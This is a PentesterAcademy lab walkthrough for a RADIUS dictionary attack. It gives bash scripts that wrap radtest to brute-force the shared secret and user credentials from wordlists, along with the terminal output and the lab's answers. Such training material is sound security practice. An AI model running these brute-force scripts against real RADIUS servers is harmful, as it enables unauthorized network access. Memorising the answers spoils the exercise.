

ATTACK

DEFENSE

by PentesterAcademy

Name	RADIUS Recon: Dictionary Attack
URL	https://www.attackdefense.com/challengedetails?cid=1334
Type	Network Recon : RADIUS

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. What is the RADIUS secret? Assuming that default credential pair "bob:hello" is enabled.

Answer: sweetness

Solution:

Write a wrapper script over radtest.

Script:

```
#!/bin/bash
while read password; do
radtest bob hello target-1 10 $password > /dev/null
if [ "$?" = "0" ]; then
    echo "Correct RADIUS secret: $password "
    break
else
    continue
fi
done < $1
```

Run the script and pass the password dictionary to it.

Command: ./brute /root/wordlists/100-common-passwords.txt

```
root@attackdefense:~# ./brute /root/wordlists/100-common-passwords.txt
(0) No reply from server for ID 134 socket 9
(0) No reply from server for ID 177 socket 9
```

```
(0) No reply from server for ID 182 socket 9
(0) No reply from server for ID 143 socket 9
(0) No reply from server for ID 140 socket 9
(0) No reply from server for ID 153 socket 9
Correct RADIUS secret: sweetness
root@attackdefense:~#
```

Q2.What is the password of the user 'admin'?

Answer: chicago

Solution:

Repurpose the script a little bit.

Script:

```
#!/bin/bash
while read password; do
radtest admin $password target-1 10 sweetness > /dev/null
if [ "$?" = "0" ]; then
    echo "Correct user password: $password "
    break
else
    continue
fi
done < $1
```

Run the script and pass the password dictionary to it.

Command: ./brute2 /root/wordlists/100-common-passwords.txt

```

root@attackdefense:~# ./brute2 /root/wordlists/100-common-passwords.txt
(0) -: Expected Access-Accept got Access-Reject
(0) -: Expected Access-Accept got Access-Reject
(0) -: Expected Access-Accept got Access-Reject
(0) -: Expected Access-Accept got Access-Reject
(0) -: Expected Access-Accept got Access-Reject
(0) -: Expected Access-Accept got Access-Reject
(0) -: Expected Access-Accept got Access-Reject
Correct user password: chicago
root@attackdefense:~#

```

Q3. There is one more valid user (in addition to bob and admin). Find the credentials for that user.

Answer: auditor:ashlee

Solution:

Repurpose the script a little bit.

Script:

```

#!/bin/bash
while read username; do
if [ "$username" = "" ]; then
    continue
fi
while read password; do
radtest $username $password target-1 10 sweetness > /dev/null
if [ "$?" = "0" ]; then
    echo "Correct username: $username password: $password "
    break
else
    continue
fi
done < $1
done < $2

```

Run the script and pass the password and username dictionary to it.

Command: `./brute3.py /root/wordlists/100-common-passwords.txt
/usr/share/wordlists/metasploit/unix_users.txt`

```
root@attackdefense:~# ./brute3 /root/wordlists/100-common-passwords.txt /usr/share/wordlists/metasploit/unix_users.txt  
(0) -: Expected Access-Accept got Access-Reject  
(0) -: Expected Access-Accept got Access-Reject  
(0) -: Expected Access-Accept got Access-Reject
```

```
(0) -: Expected Access-Accept got Access-Reject  
(0) -: Expected Access-Accept got Access-Reject  
(0) -: Expected Access-Accept got Access-Reject  
(0) -: Expected Access-Accept got Access-Reject  
Correct username: auditor password: ashlee
```

References:

1. RADIUS RFC (<https://tools.ietf.org/html/rfc2865>)
2. Radtest (<https://wiki.freeradius.org/guide/Radtest>)
3. Radclient (<https://wiki.freeradius.org/config/Radclient>)